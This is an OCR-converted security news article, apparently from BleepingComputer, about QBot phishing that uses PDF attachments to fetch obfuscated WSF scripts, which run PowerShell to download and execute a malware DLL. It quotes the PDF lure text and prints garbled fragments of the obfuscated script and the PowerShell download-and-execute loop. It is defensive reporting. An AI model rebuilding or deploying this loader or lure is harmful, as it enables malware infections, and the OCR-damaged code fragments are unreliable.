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New QBot email attacks use PDF and WSF combo to install malware

By Lawrence Abrams
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QBot malware is now distributed in phishing campaigns utilizing PDFs and Windows Script Files (WSF) to infect Windows

devices.

Qbot (aka QakBot) is a former banking trojan that evolved into malware that provides initial access to corporate networks
for other threat actors. This initial access is done by dropping additional payloads, such as Cobalt Strike, Brute Ratel,

and other malware that allows other threat actors to access the compromised device.

Using this access, the threat actors spread laterally through a network, stealing data and eventually deploying ransomware in

extortion attacks.

Page 1 of 6


https://www.bleepingcomputer.com/news/security/microsoft-these-are-the-building-blocks-of-qbot-malware-attacks/
https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html
https://news.sophos.com/en-us/2022/03/10/qakbot-decoded/

https://www.bleepingcomputer.com /news/security/new-gbot-email-attacks-use-pdf-and-wsf-combo-to-install-malware/

Page 2 of 6



https://www.bleepingcomputer.com /news/security/new-gbot-email-attacks-use-pdf-and-wsf-combo-to-install-malware/

Visit Advertiser websiteGO TO PAGE

Starting this month, security researcher ProxyLife and the Cryptolaemus group have been chronicling Qbot's use of a new

email distribution method — PDF attachments that download Windows Script Files to install Qbot on victim's devices.

It starts with an email

QBot is currently being distributed through reply-chain phishing emails, when threat actors use stolen email exchanges and

then reply to them with links to malware or malicious attachments.

The use of reply-chain emails is an attempt to make a phishing email less suspicious as its a reply to an ongoing

conversation.

The phishing emails use a variety of languages, marking this as a worldwide malware distribution campaign.

H < O 1 I = Re:X02718_Caserne _Demande d'information - Mess... T H - O X
MESSAGE

Thu 4/13/2023 2:20 PM

Re: X02718 _Caserne _Demande d'information

Ta

Message | (@ CancelationLetter-1300542300.pdlf (92 KE)

Eoenjour,

Désolé, pour ma réponse tardive a votre question. Ci-joint le document dont vous avez
besoin.

Merci.

Mo Ttems

QBot phishing email

Source: BleepingComputer

Attached to these emails is a PDF file named 'CancelationLetter-[number].pdf ,' that, when opened, displays a message

stating, "This document contains protected files, to display them, click on the "open" button."

However, when the button is clicked, a ZIP file that contains a Windows Script (wsf) file will be downloaded instead.
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CancelationLetter-1800542300.pdf

This document contains protected files, to display them,
click on the "open" button
Acrobat DC. It's how

the world gets work

done.
View, sign, comment on, and share

PDFs for free.

Adobe, Adobe logo, the Adobe PDF logo, and Acrobat are either registered trademarks or trademarks of Adobe in the United States and/or other countries. All other v
|
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PDF document used to distribute malicious WSF files

Source: BleepingComputer

A Windows Script File ends with a .wsf extension and can contain a mixture of JScript and VBScript code that is executed
when the file is double-clicked.

The WSF file used in the QBot malware distribution campaign is heavily obfuscated, with the ultimate goal of executing a

PowerShell script on the computer.

; DecemberR(CI78013).wsf - Notepad2
File Edit View Settings ?

DEQd| \ RN R=E R
563 <job id="larker"> -
564 <script language="jscript">
565 function MicrosoftPhotosHeterodromy(Profectitious, adnoun, Unharmonizing, decentre, gigamaree, Be¢
s66 // unhypnotiseEnqueues shiver Unminimizing
567 var MicrosoftPhotosgorgeableBeggarlike = "chicoteHooley";

568 // PrecuneateMediopalatal klootch stocked maxillomandibularTrisensory

560 var MicrosoftPhotosNoumenalistMisparsing = 314;

570 return 'Antiecclesiastical'};

571 // Microbes lebhaft blotching balsamically dschubba BrynzaPresagefully CabritNonintegrable related

572 function MicrosoftPhotoscervicobuccal(Troker, Mouldered, BoathousePeutingerian, Holechedron, dancing, untt
573 var MicrosoftPhotossporogony = 8992;

574 // asyngamy

m]

575 var MicrosoftPhotosSmooth = "DisfeaturementResalt";

576 var MicrosoftPhotosschnauzersProvand = [ 3, 1, "hoyman", "Midsummers", 1;
577 // automatized smilersAbnormalized

578 var MicrosoftPhotoswristwatch = "Transposing";

570 // consignataryMicroliter Biunique heterothallicUnboisterously Prutah diapausing

580 var MicrosoftPhotosgorgonia = [ 1, 3, "pourparty", 2, "UncurtainedCutaneous", J;

581 // Banisterine Facsimiled

582 var MicrosoftPhotosdicaryotic = [ 2, "Basibracteolate", 1, 1;

583 return 'unpopulously'};

584 // noncorrelativelylieproofliest VermicularlyUnintrepid

585 function MicrosoftPhotosdodkin(GlycyphyllinImpactor, InfluentialUnpiqued, Costumier, arrestor, Synteresis
586 var MicrosoftPhotosMigrating = 294;

587 var MicrosoftPhotosantiparagraphicEndodontia = "uniateDagoba";

588 var MicrosoftPhotosdischligation = "nonmunicipal";

s8a  var MicrosoftPhotosDryadetumIndivisibility = [ "Polyvalence", "soulsavingTchast", 1;

590 // coprosmaUnamusement -
<l '
Ln583:2:855 Col27 Sel0 238 KB ANSI CR+LF INS Default Text

Malicious WSF file distributed by QBot PDF files

Source: BleepingComputer

The PowerShell script that is executed by the WSF file attempts to download a DLL from a list of URLs. Each URL is tried
until the file is successfully downloaded to the % TEMP% folder and executed.
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) .split (", ") ;foreach
ourUnmaneuverable in $ratcher) {tr

ScosplendourUnmaneuverable -TimeoutSec 16 -0
Senv:TEMP\hibernatorTerminus.lancha;if
Senv:TEMP\hibernatorTerminus.lancha) .le
fskart Tandll132

Senv:TEMP\\hibernatorTerminus. lancha, Ni
{Start-Sleep -Seconds 3;}}

PowerShell script executed by the WSF file

Source: BleepingComputer

When the QBot DLL is executed, it will run the PING command to determine if there is an internet connection. The
malware will then inject itself into the legitimate Windows wermgr.exe (Windows Error Manager) program, where it will

quietly run in the background.
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QBot malware injected into the memory of the Wermgr.exe process

Source: BleepingComputer

QBot malware infections can lead to devastating attacks on corporate networks, making it vital to understand how the

malware is being distributed.

Ransomware affiliates linked to multiple Ransomware-as-a-Service (RaaS) operations, including BlackBasta, REvil,

PwndLocker, Egregor, ProLock, and MegaCortex, have used Qbot for initial access into corporate networks.

Researchers at The DFIR Report have shown that it only takes around 30 minutes for QBot to steal sensitive data after the

initial infection. Even worse, malicious activity only takes an hour to spread to adjacent workstations.
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Therefore, if a device becomes infected with QBot, it is critical to take the system offline as soon as possible and perform a

complete evaluation of the network for unusual behavior.

P\CUS

The Validation Gap:
What Automated
Pentesting Alone

Cannot See

Automated Pentesting Covers Only 1 of 6 Surfaces.

Automated pentesting proves the path exists. BAS proves whether your controls stop it. Most teams run one without the

other.

This whitepaper maps six validation surfaces, shows where coverage ends, and provides practitioners with three diagnostic

questions for any tool evaluation.
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